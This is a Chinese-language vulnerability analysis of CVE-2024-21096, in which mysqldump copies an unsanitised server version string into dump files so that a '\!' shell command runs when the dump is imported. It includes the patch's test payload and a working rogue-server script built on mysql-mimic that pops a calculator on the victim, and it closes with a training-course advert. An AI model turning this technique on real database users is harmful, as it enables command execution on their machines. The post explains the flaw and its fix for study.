一、简介
CVE-2024-21096是一个影响Oracle MySQL Server的中等严重性漏洞,具体涉及其mysqldump组件。未经认证的攻击者如果成功利用该漏洞,可能会对MySQL Server的数据进行未授权的修改(如更新、插入或删除),并能够读取部分可访问的数据。此外,攻击可能还会引发部分拒绝服务(partial DOS)。由于该漏洞只能在本地环境下被利用,利用条件相对有限,并且复杂性较高,主要影响MySQL Server 8.0.0至8.0.36版本。
二、漏洞原理
mysqldump
是 MySQL 的一个实用工具,它能够将 MySQL 数据库的数据和结构导出为一个文本文件,通常为 SQL 格式。导出的 SQL 文件包含了用于创建表和插入数据的 SQL 语句,因此可以用来执行以下操作:
-
备份数据库:可以保存数据库的快照,方便在数据丢失或损坏时恢复。
-
迁移数据:将数据库从一个服务器迁移到另一个服务器。
-
重建数据库:在另一台 MySQL 服务器上重新创建和恢复数据库。
使用 mysqldump
导出 MySQL 数据库中的某个数据库,可以在 MySQL Server 本地通过以下命令进行操作:
mysqldump -u [用户名] -p[密码] [数据库名] > [导出文件路径].sql
-
[用户名]
:MySQL 数据库的用户名 -
[密码]
:MySQL 数据库的密码(与-p
紧密相连,无需空格) -
[数据库名]
:要导出的数据库名称 -
[导出文件路径].sql
:导出文件的存储路径及文件名(通常为.sql
文件)
其中username是用户名,database_name是待导出的数据库名称,导出之后得到dumpfile.sql文件。导出后的SQL文件可以使用mysql命令执行导入操作,比如:
mysql -u username -p database_name < /path/to/dumpfile.sql
mysqldump
工具在执行导出和导入操作时,会将数据库中的数据和结构解析为 SQL 语句,再通过执行这些 SQL 语句来重建数据库。然而,问题出在 mysqldump
在接收 MySQL Server 的信息时,未对一些元信息(meta command)进行充分的净化处理。攻击者可以借此构造恶意的元信息,使其在通过 mysqldump
导出时嵌入到 SQL 文件中。
一旦这些带有恶意元信息的 SQL 文件被导入到其他 MySQL 服务器上,便可能执行恶意代码,从而给系统带来风险。
2024年2月22日发布的漏洞修复中,MySQL 修正了这一问题。修复主要集中在对导出的元信息进行严格的校验与过滤,防止攻击者在 mysqldump
导出过程中注入恶意元信息。要了解具体修复措施,可以通过查看修复时的代码变更细节,确认该漏洞的解决方式。
在之前的版本(8.0.36)中,可以看到mysqldump在处理MySQL版本信息时只是通过mysql_get_server_info(&mysql_connection)获得版本信息并输出,而漏洞补丁中去除了这段代码,增加了get_safe_server_info函数,该函数中做了两个主要的变更:
-
通过SERVER_VERSION_LENGTH宏定义的60个字符限制版本信息的长度;
-
检查版本信息中是否存在非法字符(非字符或标点服务),如果存在则抛弃非法字符并返回版本信息。
另外,在补丁中还可以看到为了测试补丁用到的测试攻击版本信息,即DBUG_EXECUTE_IF部分中的:
8.0.0-injection_testn\! touch /tmp/xxx
三、漏洞利用
根据上述漏洞的原理,攻击者可以利用 MySQL 的服务版本信息注入恶意代码。当包含服务版本信息的 SQL 文件通过 mysqldump
导出并由 MySQL 执行时,恶意代码便有机会运行。然而,由于 mysqldump
和 mysql
命令联合执行或直接通过 SQL 文件执行的场景较为罕见,这使得 CVE-2024-21096 漏洞的实际利用率较低。因此,该漏洞的 CVSS评分为4.9,其中可利用性分数仅为1.4。
漏洞利用的主要难点在于 MySQL 的版本信息是一个只读变量,无法通过常规 MySQL 配置进行修改。要实现版本信息的修改,唯一可行的方式是重新编译 MySQL 源代码。在编译过程中,攻击者可以通过修改 MySQL 源代码中 /include/mysql_version.h
文件的 MYSQL_SERVER_VERSION
宏定义来植入恶意信息。例如:
我们以8.0.34版本为例,通过手动修改版本信息,并编译MySQL,编译过程如下:
sudo apt-get updatesudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-config wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.34.tar.gztar xzvf mysql-8.0.34.tar.gzcd mysql-8.0.34 mkdir buildcd buildcmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=.. makesudo make install
上述命令执行完毕后,MySQL即编译安装完成,接下来是初始化MySQL数据库:
sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
初始化期间会随机生成MySQL的root账户口令,重置口令之后通过show variables查看服务版本即可发现版本信息是修改后的内容:
假设受害者通过mysqldump连接上面修改版本信息之后的攻击机:
mysqldump -h 192.168.2.217 -urepoog -p mysql
执行上述命令后即可看到版本信息是修改之后的内容:
在执行数据库导出和导入操作之后,版本信息中的命令就会得到执行,比如下面的命令:mysqldump -h 192.168.2.217 -urepoog -p pwndb | msyql -h 192.168.2.217 -urepoog -p pwndb_imp
当然,除了手动编译 MySQL 之外,还可以使用高交互的 MySQL 蜜罐项目进行更为简便的配置与修改,比如使用 mysql-mimic
项目。mysql-mimic
是一个用 Python 编写的轻量级工具,能够模拟 MySQL 数据库的行为与协议,而无需实际运行 MySQL 数据库。它常用于在没有 MySQL 实际环境的情况下进行 MySQL 测试。
在蜜罐机上,可以基于 mysql-mimic
库编写并运行以下代码,以设置 MySQL 的服务版本信息:
import loggingimport asynciofrom sqlglot.executor import execute from mysql_mimic import MysqlServer, Sessionfrom mysql_mimic.variables import GlobalVariables SCHEMA = { "test": { "x": { "a": "INT", } }} TABLES = { "test": { "x": [ {"a": 1}, {"a": 2}, {"a": 3}, ] }} class MyVariables(GlobalVariables): def __init__(self): super().__init__() self.set("version", "8.0.0-injection-testn\! gnome-calculator", True) class MySession(Session): def __init__(self): super().__init__() self.variables = MyVariables() self._functions["VERSION"] = "8.1.1" async def query(self, expression, sql, attrs): result = execute(expression, schema=SCHEMA, tables=TABLES) return result.rows, result.columns async def schema(self): return SCHEMA async def main(): logging.basicConfig(level=logging.DEBUG) server = MysqlServer(session_factory=MySession) await server.serve_forever() if __name__ == "__main__": asyncio.run(main())
上述程序中设计的服务版本信息是8.0.0-injection-testn\! gnome-calculator,蜜罐机的IP地址是172.23.189.209,攻击者(也是受害者)如果通过资产探测扫描到MySQL蜜罐,并通过mysqldump企图做数据库导出和导入,则会出现下图中的效果(弹出计算器)。
我们红岸基地网安教学,只有两个老师、一个是赵小龙老师、一个是陈师傅。可以联系微信:Changethe_one,只要你提供目前的现状与学历,陈老师可以免费帮大家做职业规划。
Changethe_one
原文始发于微信公众号(暗影网安实验室):CVE-2024-21096 MySQLDump提权漏洞解析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论